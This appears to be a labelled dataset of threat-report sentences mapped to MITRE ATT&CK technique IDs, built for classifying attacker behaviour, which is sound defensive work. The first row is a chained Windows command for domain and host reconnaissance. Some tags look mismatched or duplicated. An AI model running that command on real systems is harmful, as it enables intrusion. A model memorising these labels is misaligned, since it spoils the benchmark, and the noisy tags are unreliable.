"""whoami & hostname & ipconfig /all & net user /domain 2>&1 & net group /domain 2>&1 & net group """"domain admins"""" /domain 2>&1 & net group """"Exchange Trusted Subsystem"""" /domain 2>&1 & net accounts /domain 2>&1 & net user 2>&1 & net localgroup administrators 2>&1 & netstat -an 2>&1 & tasklist 2>&1 & sc query 2>&1 & systeminfo 2>&1 & reg query """"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"""" 2>&1""",T1087.002 | T1087.001 | T1069.002
The module also collects the physical address (MAC) and the IP address of the infected machine,T1016
EntryPoint is the main export function of this dll. It starts its activities by resolving API calls. All the API call names are hard coded and the actor has not used any obfuscation techniques to hide them,T1106
Word documents will first be collected and stored in a preliminary collection directory. The location of this directory may vary depending on the Ramsay version. Two of the directories we observed being used for this purpose were %APPDATA%\Microsoft\UserSetting and %APPDATA%\Microsoft\UserSetting\MediaCache,T1119
"The document attempts to execute code on the recipient's computer, using a macro. The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command",T1012 | T1059 | T1059.001
The decrypted JavaScript has some similar functionality to the ThreadKit builder which is heavily used by the Cobalt Gang 1.0,T1059.003 | T1059.003
"The configuration, along with downloaded plugins and all harvested data are stored in a custom database format inside a single file under the %TEMP% directory. The storage file is encrypted with AES-256 using a hardcoded key and is decrypted each time the malware needs to read or write it and re-encrypted after new data is added",T1074.001
"In this case, the usage of 1550 calls to printf is intended to overload sandbox analysis with junk data and delay execution, since it logs API calls",T1497
"The first stage starts, as in many other infection chains, with a malicious Microsoft Word document delivered inside a ZIP file. Once the document is opened, malicious macros are downloaded using the external template feature. The macros' code in turn drops and executes the second stage of the attack, a PowerShell script encrypted inside the original Word document. Finally, the PowerShell script downloads and executes the last stage of the infection: the Bandook backdoor",T1566.001
"""We can notice that the developers wanted to hide some API usage. They use the LoadLibrary() API followed by GetProcAdress(). But they obfuscated the function name strings by splitting it in two. After the malware replaces the """"m"""" by """"n:"""" They use this trick for a couple of other API such as CreateThread(), CreatePipe(), PeekNamedPipe(), CreateProcessA(), CreateToolhelp32Snapshot(), ReadFile(), WriteFile() and, finally, the string """"cmd.exe. The attacker also implemented a new order: execution of a command by using named pipe to get the output of the executed command. The attackers execute cmd.exe, followed by the command to be executed. An interesting point is the adding of a charset on each executed command: This charset is designed to cover languages that use Cyrillic script such as Russian, Bulgarian and Serbian. sha256 : bb61cc261508d36d97d589d8eb48aaba10f5707d223ab5d5e34d98947c2f72af C2 server: kissyou01[.]myfw[.]us""",T1059.003
Android.The malware begins by creating a web service object and uses the following URL within its configuration,T1102.002
"It extracts and decrypts the stage 3 malware, which is stored in encrypted resources such as fake dialog boxes. The extraction method is the same, but the encryption algorithm (also XOR) is much simpler. The new payload is decrypted, remapped, and executed in memory, and represents the installation and persistence stage of the malware",T1140
The Bazar loader will create another autorun entry by writing an adobe.lnk shortcut in the Windows Start menu Startup folder,T1547.009
"The Warzone payload is saved to the %ProgramData% folder as update.exe (SHA-256: 4500851dad1ac87165fc938fe5034983c10423f800bbc2661741f39e43ab8c8d) as shown in the above figure. In order to maintain persistence, an LNK file named update.lnk pointing to update.exe is dropped to startup folders - ""%AppData%Microsoft\Windows\Start Menu\Programs\Startup",T1547.001
Version 3 of Imminent Monitor introduced the ability to run a cryptocurrency miner on the victim machine - hardly the feature of a legitimate remote access tool (Figure 7,T1496
"Like the previous variants of EVILNUM, the actor set up accounts on GitLab and Digital Point, a web forum. The four primary URLs used as drop sites for one-way communications were",T1102.003
"NICKEL successfully compromises networks using attacks on internet-facing web applications running on unpatched Microsoft Exchange and SharePoint. They also attack remote access infrastructure, such as unpatched VPN appliances, as referenced in the FireEye April 2021 blog detailing a 0-day vulnerability in Pulse Secure VPN that has since been patched",T1190
"Windbg, Autoruns, Wireshark) - It checks that there are no drivers loaded from security-related software (e.g. groundling32.sys) - It checks that the status of certain services belonging to security-related software meets certain conditions (e.g. windefend, sense, cavp) - It checks that the host ""api.solarwinds.com"" resolves to an expected IP address",T1497.001
"Recent attacks Symantec discovered the most recent wave of Tick attacks in July 2015, when the group compromised three different Japanese websites with a Flash (.swf) exploit to mount watering hole attacks. Visitors to these websites were infected with a downloader known as Gofarer (Downloader.Gofarer). Gofarer collects information about the compromised computer and then downloads and installs Daserf",T1189
"Apart from downloading and executing binaries from the control server, Gold Dragon generates a key to encrypt data that the implant obtains from the system. This URL is not used for control; the encrypted data is sent to the server ink.inkboom.co.kr, which was used by previous implants as early as May 2017",T1560
"BackdoorDiplomacy targeted servers with internet-exposed ports, likely exploiting unpatched vulnerabilities or poorly enforced file-upload security. In one specific instance, we observed the operators exploit an F5 BIP-IP vulnerability (CVE-2020-5902) to drop a Linux backdoor. In another, a Microsoft Exchange server was exploited via a PowerShell dropper that installed China Chopper, a well-known webshell in use, by various groups, since 2013. In a third, we observed a Plesk server with poorly configured file-upload security execute another webshell similar to China Chopper. See Figure 2 for an overview of the exploit chain",T1190
"Some versions of the Orz backdoor have 32- and 64-bit embedded DLLs, stored internally as base64 strings. These are used as loaders for future executable payloads, using the well-known process hollowing technique",T1027
"The KillDisk encryption system is also very robust, encrypting each file with its own AES key, and then encrypting the AES key with a public RSA-1028 key",T1486
Since version 0.1.8 This function resets Azure AD Connect credentials to Azure AD and stores it to Azure AD Connect configuration database,T1552.001
"It uses Windows Crypto APIs to generate an MD5 hash using UUID1 (from Part 1). Before the hash is calculated, the length of the UUID is extended to 0x48 bytes by padding with null bytes",T1027.001
"When executing from any other context, it will steal information to send back to command and control servers, disable recovery options, and deletes shadow copies",T1490
"Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019",T1190
"The group has several ongoing operations, utilizing multiple exploits - two for Adobe Flash and one for Microsoft Internet Explorer",T1203
"The pipe is used to communicate with the target process and the transport module; the running code also reads its own image body and writes it to the pipe. It finds the running process that matches the target name, copies the buffer containing the payload into the process, then starts its copy in the target process",T1055
"As mentioned, the registry key (HKLM\SOFTWARE\Microsoft\DRM) is where the malicious payload is stored. In this case, this is the Pillowmint Trojan. Pillowmint is stored and compressed in the registry key. In order to decompress and launch it, small shellcode is executed to decompress and allocate it into the parent process memory space. Execution is then transferred to the payload",T1112
"Figure 4 shows a screenshot of the Total SMB BruteForcer hacktool used by Leafminer for lateral movement. The tool requires input files with lists of IPs, users, and passwords respectively",T1110.003
"Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm. Using WMI to check the BIOS manufacturer for XEN. Using WMI to check if the total physical memory is less than 2900000000. Using WMI to check if the number of CPU cores is less than or equal to 1",T1082
"The Disttrack dropper is responsible for installing the wiper component of this Trojan, however, it will only activate this component if the system time is greater than a preset date",T1124
"The cyber offensive programs attributed to these groups, targeting organizations around the world, have been documented for years",T1106 | T1573.001
"Once loaded, `DWrite.dll` connects to a hard-coded IP and port from which it retrieves a decryption key and initialization vector (IV) to decrypt two embedded payload DLLs. To accomplish this task, the malware first generates a random file name to be used as a text log under the current user's %TEMP% directory; this filename starts with ~rdf and is followed by a set of random numbers. Next, the malware scans its own image to find the location of a 32-byte long multi-XOR key which is used to decode data inside its body. Part of the decoded data is an IP address and port which are used to retrieve the key and the IV for the decryption of the embedded payloads. The encryption algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV",T1140 | T1027
"The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: domain>/what",T1053.005
"NOBELIUM is the same actor behind the SolarWinds compromise in 2020, and this latest activity shares the hallmarks of the actor's compromise-one-to-compromise-many approach. These delegated administrative privileges are often neither audited for approved use nor disabled by a service provider or downstream customer once use has ended, leaving them active until removed by the administrators. Partners can also use Partner Center Activity Log APIs to create a custom security dashboard on key user activities in Partner Center to proactively detect suspicious activities. We strongly encourage the use of strong authentication for all tenant administrators, review of devices registered for use with MFA, and minimize the use of standing high-privilege access. This can include the creation of users, consent of Azure AD applications, granting of roles to users and applications, creation of additional service principal credentials, and more. That persistence technique relies on maintaining access to victims' mail system through the modification of permissions and addition of hidden credentials that allow the attacker to access emails remotely. Detection Name: Suspicious Addition of an Exchange related App Role Description: Addition of an Exchange related application role was observed. An account that can authenticate against an application service principal may also be able to access Exchange data and email. It alerts about users that were victims of password spray campaigns and managed to access your cloud applications from those malicious IPs. This can indicate that an attacker has compromised the app, and is using it for malicious activity",T1098.002
The purpose of Trojan.Imecab is to set up a persistent remote access account on the target machine with a hardcoded password. Variants of the malware were also observed with the filename guester.exe which likely refers to the functionality of adding a powerful guest account to the system,T1136.001
"When REvil was first discovered, it was delivered to targets via exploitation of Oracle WebLogic vulnerabilities. There are reports that the threat actors leveraged a strategic web compromise (SWC) to deliver REvil by compromising the Italian WinRAR . it website and replacing the WinRAR installation executable with an instance of the malware. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers",T1199
"The actor leveraged vulnerabilities in Pulse Connect Secure in order to hijack VPN sessions, or took advantage of system credentials that were stolen in previous operations",T1190
Environment data exfiltration via POST It will perform a WMI query to enumerate installed security products,T1518.001
Kroll identified a growing trend in Qakbot (also known as Qbot) cases targeting and exfiltrating locally stored emails to commit a sophisticated phishing method known as email thread hijacking,T1114.001 | T1114.001
"""This is perhaps more eloquently stated by the CheckPoint researchers: """"As a result of all of the above actions, when attempting to surf the web, the user's web browser will first ask the attacker web page on TOR for proxy settings. The user traffic is then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-Middle attack and impersonates the various sites the user attempts to surf. The attacker is free to read the victim's traffic and tamper with it in any way they please. So why redirect the user's traffic. However, as OSX/Dok is a port of a Windows banking trojan (Retefe), its main goal is to extract user's banking credentials from the redirected traffic, or manipulate traffic in order to gain access to financial accounts. For more information on this methodology, check out CheckPoint's follow-up report: OSX/Dok Refuses to Go Away and It's After Your Money. disinfection: Fully cleaning up a OSX/Dok infection is somewhat difficult due to the multitude of changes it makes to an infected system. First, if it still exists, remove the malware's initial Login Item ('AppStore'). Then, delete the two Launch Agents""",T1543.001
1) The malware opens the target service process. 2) It allocates and fills four chunks of memory inside the service process. One chunk contains the entire malware DLL code (without PE headers). Another chunk is used to copy a basic Ntdll and Kernel32 import address table. Two chunks are filled with an asynchronous procedure call (APC) routine code and a stub. 3) It opens the service thread of the service process and uses the ZwQueueApcThread native API to inject an APC,T1574.013
"Grandoreiro chooses a different approach - a simple, yet very effective one. The resources section of the PE file is augmented by (usually 3) grande BMP images, making each binary at least 300 MB in size",T1027.001
"""features: Thomas Read, who also analyzed OSX/Dok, describes the malware's main goal: """"[OSX.Dok] uses sophisticated means to monitor-and potentially alter-all HTTP and HTTPS traffic to and from the infected Mac. Installing a proxy to MitM traffic is a common technique found in Windows banking trojans - who try to steal users' banking credentials. As previous noted, Dok appears to be a Mac port of the Windows banking trojan 'Retefe. Let's take a closer look at how the malware is able to proxy all web traffic on an infected host""",T1557
Conficker will then generate a list of 250 domain names (rendezvous points) using a randomizing function that it seeds with the current UTC system date. All Conficker infected clients will attempt to contact the same set of domains for updates. This update probing is done on a daily basis and provides Conficker's authors with an effective updating mechanism that is highly mobile as its location is recomputed each day by all infected clients,T1568.002
"HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key. For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR'd with the first seed, resulting in a 32 byte key used to AES encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not. Depending on the version, HELLOKITTY may or may not change the file extension. Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA",T1486
The ZIP also contains the Resource fork that contains the icon of the executable file. It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file,T1564.009
The task name is Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it mimics the AnalyzeSystem task performed by Windows Power Efficiency Diagnostics report tool,T1036.004
"In 2014, the group embedded Havex into legitimate remote management software for ICS and created industrial control scanning and enumeration modules",T1195.002
"1) The printer vulnerability MS10-061 exploited by Stuxnet - using a special MOF file, executed on the attacked system using WMI. 2) Remote jobs tasks",T1210
"The last type of shellcode is a Cobalt Strike stager. We have confirmed the use of several different Cobalt Strike stager shellcodes since October 2019. In addition, some of the observed Cobalt Strike stager samples included a setting in the HTTP header of their malicious communications to disguise them as common jQuery request in order to evade detection by security products",T1071.001
"It attempts to steal sensitive online banking information, such as user names and passwords from the following financial institutions",T1185
The novel C2 channel in the RDAT sample uses email for a C2 channel by interacting with the local Exchange server with the EWS API. These two email addresses are used by the RDAT payload to send and receive emails to facilitate C2,T1071.001
"The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper",T1027
"Screen activity can be monitored by capturing screenshots. What is particularly interesting about InvisiMole is that not only are the usual ""whole display"" screenshots taken - it can separately capture each window, which helps the attackers gain more information even when the windows are overlapped",T1113
The backdoor establishes persistence by setting the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load registry key to point to its executable. This method is less common than Run or RunOnce keys but achieves its ultimate goal: the program listed in the Load registry value runs when any user logs on,T1547
"The main function defines a shellcode in hex format, and a target process which is Notepad.exe. Then, based on the OS version, it creates a Notepad.exe process and allocates memory within its address space using VirtualAlloc. It then writes the shellcode into the allocated memory using WriteProcessMemory. At the end it calls CreateRemoteThread to execute the shellcode within the address space of Notepad.exe",T1055
Raindrop is similar to Teardrop in that both pieces of malware act as a loader for Cobalt Strike Beacon. Raindrop uses a custom packer to pack Cobalt Strike. This packer is different to the one used by Teardrop,T1027.002
"It also deletes Windows Event Logs : Application, Security, Setup, System. It is less focused on deleting documents. Only 35 file extensions are targeted",T1485
"They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. They routinely used standard tools that would mimic legitimate administrator activities. This included heavy use of RDP and PsExec/WinRM. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They used multiple staging folders and opted to use directories that were used infrequently by legitimate users or processes. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools",T1074.001
"In the instances we have observed, the threat actor sent spear-phishing emails, luring the victims to open a malicious Microsoft Excel/Word document. The Word droppers were using standard VBA macros to download the payload",T1204.002
"Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group keeps updating its toolset to evade security mechanisms. Even though they have used their old job theme method, they employed several new techniques to bypass detections",T1082 | T1057
"A second JavaScript command was also executed, which created a scheduled task to execute chfeeds.vbe multiple times a day",T1053.005
"In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments",T1592.004
"Once the get_targets function returns (with a list of files that match these regexes) the malware reads each file's contents, (if they are under 0x1c00 bytes in length) via call to lfsc_get_contents, and then exfiltrates said contents to the attacker's remote command and control server (via ei_forensic_sendfile",T1041
Filename: kxwn.lock:schemas File size: 609853 bytes MD5 hash: 4e1dec16d58ba5f4196f6a76a0bca75c SHA1 hash: a7c43d7895ecef2b6306fb00972c321060753361 Notes: Alternate data stream (ADS) PNG file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA,T1027.003
"The attackers then, once again, executed a command that would create a scheduled task on each computer they had copied the license.exe payload to, this time named Google Chrome Security Update, and set it up to run once at midnight (in the local time zone of the infected computers",T1036.004
The malware uses a specific Domain Generation Algorithm (DGA) for hiding the C2 address used during the attack: this is one of the key points that has helped in the campaign's clustering,T1568.002
"XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them. XAgent logs key strokes by calling the CGEventTapCreate function to set an event hook to call a callback function named _myCGEventTapCallBack when it detects pressed keys. This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes. The keylogger will monitor for active application windows and write them to the log in the following format",T1056.001
"In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The malicious attachment was a simple PE file (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63) with the filename <redacted> Technical Services.exe. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails. The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe. This PE was slightly different from the other attack, being compiled using the Microsoft .NET Framework instead of being generated via a bat2exe tool and containing a decoy dialog box as shown in Figure 1",T1566.001
"The decoy file, doc.rtf (MD5: AC0EAC22CE12EAC9EE15CA03646ED70C), contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP% with the name 8.t. Figure 2 shows the decryption mechanism used in EQENDT32.EXE",T1559.002
"The first approach involves spear-phishing targets using a document with remote content. As soon as the user opens the document, a ""ping"" request is sent to the attackers' server. At this point, the attackers know the user has opened the document and send another spear-phishing email, this time containing an MS Word document with an embedded executable. The Word document usually exploits CVE-2012-0158. Sometimes the attackers send an MS PowerPoint document instead, which exploits CVE-2014-6352",T1203
The first sample being captured was in April 2018 and since that we observed a lot more related ones. Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway. Decryption password is provided in the mail body and inside the attachment it is a MHTML macro based document with the .doc suffix,T1566.001
"The downloaded file tries to look trustworthy by using a well-known Adobe Reader icon and the filename ""security"" or ""infos",T1036.005
This cipher seems to be an RC4 alike algorithm with an already computed PRGA generated key-stream. It is important to note that this same cipher is used later on in the network communication protocol between trojan clients and their CNCs,T1573.001
"During our analysis, the C2 server provided a secondary payload that functionally appeared similar to the initial Zebrocy sample. The secondary payload was also written in Delphi and its developer configured it to communicate with its C2 server using HTTPS via the following URL",T1140
"Once the target's machine is compromised, the attacker first enumerates all processes running in the system and all services. Then the attacker looks for all administrator accounts on both the local machine and the network. This technique allows them to map network resources and make lateral movements inside the network, landing in the perfect machine to match the attacker's interest. This reflects the Poseidon Group's familiarity with Windows network administration",T1087.001 | T1087.002
"Here, we show an example of a PDF campaign as seen from the point of view of the affected user. This malicious PDF only contains a URL to entice the user to view the file. If the user chooses to click on the URL link and to read the actual content of the file, the browser will open a legitimate Google location which will redirect the browser to a malicious document. Browser redirection Finally, the malicious Word document is opened and the VBA macro code is run after the user allows for the editing of the content within Word. This eventually kickstarts the rest of the infection chain, terminates the Word process to hide the original file and opens a new Word instance to display a non-malicious decoy document dropped to the disk drive by one of the previous stages. Malicious Word document The decoy document remains constant throughout the campaign and is likely a side effect of the Threadkit exploit toolkit and cannot be relied upon for attribution",T1204.001
"Microsoft.IdentityServer.ServiceHost.exe in and of itself is an unmanaged Windows executable that is generated when the high-level AD FS managed code is compiled. When executed, the unmanaged code inside Microsoft.IdentityServer.ServiceHost.exe leverages Common Language Runtime (CLR) to run the managed AD FS code within a virtual runtime environment. This virtual runtime environment is comprised of one or more application domains, which provide a unit of isolation for the runtime environment and allow different applications to run inside separate containers within a process. The managed AD FS code is executed within an application domain inside the virtual runtime environment",T1057
"""When requested, with the correct Internet Explorer User-Agent, this host would serve additional obfuscated JavaScript code. As with the initial redirect, the attacker chose to bury their malicious code amongst legitimate code. In this particular case, the attacker used the """"bPopUp"""" JavaScript library alongside their own code. This decision has two effects""",T1189
"While responding to multiple FIN7 intrusions, FireEye recovered a custom video recording capability used by FIN7 as a part of their operations. The attackers most likely leveraged this video recording capability in their arsenal to monitor operations in victim environments to inform later stages of their intrusions",T1125
The initial lure is an email spoofing an email chain. These email chains are retrieved from email clients on previously infected hosts. The message has an attached ZIP archive and a message informing the user of a password necessary to open the attachment,T1589.002
"1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. 19: Check if a mouse is present. 42: Check if the host computer is capable of playing sounds. 2) 1: Get the name of the environment in which Microsoft Excel is running, as text, followed by the environment's version number. 3) 19: Check if a mouse is present. 4) 42: Check if the host computer is capable of playing sounds. If any of the above checks fail, or if the Windows environment matches any of the aforementioned versions predefined in the document (different documents have different predefined versions), the process will halt. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt",T1497.001
"Most WhiteBear samples are signed with a valid code signing certificate issued for ""Solid Loop Ltd"", a once-registered British organization. Solid Loop is likely a phony front organization or a defunct organization and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates",T1553.002
The execution starts with pushing a scheduled task from the AD to all the machines via group policy. The task name is Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll and it mimics the AnalyzeSystem task performed by Windows Power Efficiency Diagnostics report tool,T1484.001
"RTF documents sent in the observed campaigns contain exploits for several vulnerabilities in Microsoft Office, and they seem to be created using a version of an exploit toolkit, often referred to as Threadkit. Documents generated by the toolkit typically launch a couple of batch files, task.bat and task (2).bat that drive the rest of the infection process. Threadkit is not exclusively used by the actors behind the observed attacks but also by other groups utilizing various payloads, including Trickbot, Lokibot, SmokeLoader and some other banking malware. The embedded object triggers a download of an HTML page containing the VBScript that exploits the vulnerability and launches the shellcode. The HTML component of the exploit is based on the original exploit code discovered in May this year. CVE-2018-8174 VB script exploit code",T1059.003
"""Scheduled tasks require a time in which the task will run, which the dropper determines by calling the function NetRemoteTOD to obtain the time of day from the remote system. The dropper then adds 90 seconds to the time of day value on the remote system and uses this value as the """"JobTime"""" to run the task in three minutes, which executes the payload on the remote system. The following pseudo-code shows the scheduled task creation process""",T1053.005
"IRON TWILIGHT operates two custom exploit kits. The Sednit exploit kit was used in spearphishing campaigns and strategic web compromises. In 2016, the threat group began using DealersChoice, a hybrid client/server exploit kit. DealersChoice was initially deployed as malware via an attachment to a spearphishing email. The malware profiles the target system and sends the results to a server-side component, which returns the appropriate exploit to compromise the target",T1189
"The ""Rocke group"", a Chinese threat actor group who specializes in cryptojacking, has shifted gears on how they're stealing your cycles. Rocke is actively updating and pushing a new dropper using Pastebin for Command and Control (C2). Recent updates to the C2 as of March 13th, 2019 have been seen, which leads researchers to believe this campaign is ongoing. According to VirusTotal, the threat detection of the new dropper is nearly non-existent. The group has been observed in previous campaigns to use ""ld.so.preload"" function to hook libc functions. The hooking is used to hide the dropper and the mining software installed by the malware and prevents it from showing up in the ""currently running"" process list. The miner uses a private mining pool hosted on DigitalOcean which is a change in the threat actor's previous tactics",T1574.006 | T1014
The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following,T1082
"The malware also contains a custom obfuscation algorithm to hide registry keys, APIs, DLL names, and other strings from static analysis. Figure 10 provides the decompiled version of the custom decoding algorithm used on these strings",T1027
Encode the collected information using a simple byte based XOR operation using the byte key: 0x34. Base64 encode (standard) the XORed data,T1560.003
Conficker will then generate a list of 250 domain names (rendezvous points) using a randomizing function that it seeds with the current UTC system date. All Conficker infected clients will attempt to contact the same set of domains for updates. This same list of domain names is generated every 3 hours. This update probing is done on a daily basis and provides Conficker's authors with an effective updating mechanism that is highly mobile as its location is recomputed each day by all infected clients,T1124
"The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar. Once on a victim's PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory. It then passes the config buffer to the extracted DLL and calls the exported function (Shellex",T1140
Analysis Subject: Darkhotel uses a series of checks on its program file to determine if it is being analyzed,T1497.001
"To infect individuals with access to the data the actors desire, Scarlet Mimic deploys both spear-phishing and watering hole (strategic web compromise) attacks",T1036.002
"To make the malware more persistent, it has an auto-start service that allows Trickbot to run whenever the machine boots. This service can have the following display names",T1543.003
"Similar to the previous NOBELIUM custom Cobalt Strike loaders, such as TEARDROP and Raindrop, these NativeZone loaders are responsible for decoding/decrypting an embedded Cobalt Strike Beacon stage shellcode and executing it in memory. Some of the NativeZone loaders feature anti-analysis guardrails to thwart analysis of the samples",T1140
Since the decoy document is a benign file and does not contain any macros the victim does not suspect any malicious behavior,T1564.001
"According to Netlab researcher Hui Wang, at least one cryptomining botnet operator is also familiar with this service and has been using it to host a command and control (C&C) server behind ngrok's proxy network",T1102
"The macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry. First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1",T1112
"Stepping into the loaded PE,Bazar loader tries to avoid targeting Russian users by checking if the Russian language is installed on the infected machine. It calls setlocale, deobfuscating the ""Russia"" string by adding 0xf4 to each character, and finally resolving and calling StrStrA to check if ""Russia"" is a substring of the current locale. If so, the loader terminates. The Bazar Backdoor repeats this step as well",T1082
"GALLIUM has signed several tools using stolen code signing certificates. For example, they've used a credential dumping tool signed using a stolen certificate from Whizzimo, LLC, as shown in Figure 1. The code signing certificate shown in Figure 1 was no longer valid at the time of writing; however, it shows GALLIUM had access to such certificates",T1553.002
"RAR) included deleted items in Accessed Files STEALTHYATTACKER FUN FACT: Now it's built-in. All rights reserved.23 Our Response: Tackled Attacker WMI Usage ADVANCED ATTACK TECHNIQUES 24) 24. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.28 BONUS SLIDE: Even More WMI + PS 29) 29. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30. All rights reserved.32 BONUS SLIDE: TOR backdoor (just because it's cool) 33) 34) 34",T1047
"All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key. There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string",T1027
"The macro runs a PowerShell command that will decode the contents of the %APPDATA%\Base.txt file and save it to the file %PUBLIC%\Libraries\servicereset.exe, which it will then execute. The ""servicereset.exe"" file is a new tool in OilRig's arsenal that we call ISMInjector, which we will discuss in detail in the next section",T1059.001 | T1140
"Pwn one to pwn them all In some of the instances we observed what appeared to be compromised accounts at third party organizations sending the malware. In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient",T1566.001
The VB.NET variant (SHA256: e5aece694d..) is very similar to other known Zebrocy variants. It then uses the storage volume obtained from the GetDriveName function and calls GetDrive to get the SerialNumber of the storage device. The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands,T1082
"In the low-integrity case (under UAC) the installer simply injects the stage 5 malware into the bogus explorer.exe process started earlier and terminates - In the high-integrity case (with administrative privileges or after UAC bypass), the code searches for the process hosting the Plug and Play service (usually svchost.exe) loaded in memory and injects itself into it",T1055.001
"The command line is then parsed to extract individual arguments, and SUNSPOT looks for the directory path of the Orion software Visual Studio solution. This value is hard-coded in the binary, in an encrypted form using AES128-CBC, whose parameters are given below. The same material is used for all of the blobs encrypted with AES in the binary",T1027
"In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands",T1486
"As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Create, modify, and delete registry subkeys. Read, write, execute, copy, change attributes of, and delete files. Uninstall itself by deleting the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RaS[FOUR RANDOM CHARACTERS] subkey",T1112
"ACTIVEDS.dll is not signed and it is where the malicious code resides. There is a Windows DLL with that same name in the system folder, but since the malicious DLL is in the same directory as the TeamViewer executable, it is found first, and therefore is loaded instead of the Windows DLL. This is known as DLL search order hijacking. This ACTIVEDS.dll hooks several API calls in the TeamViewer executable to hide the application's tray icon and to capture login credentials",T1574.001
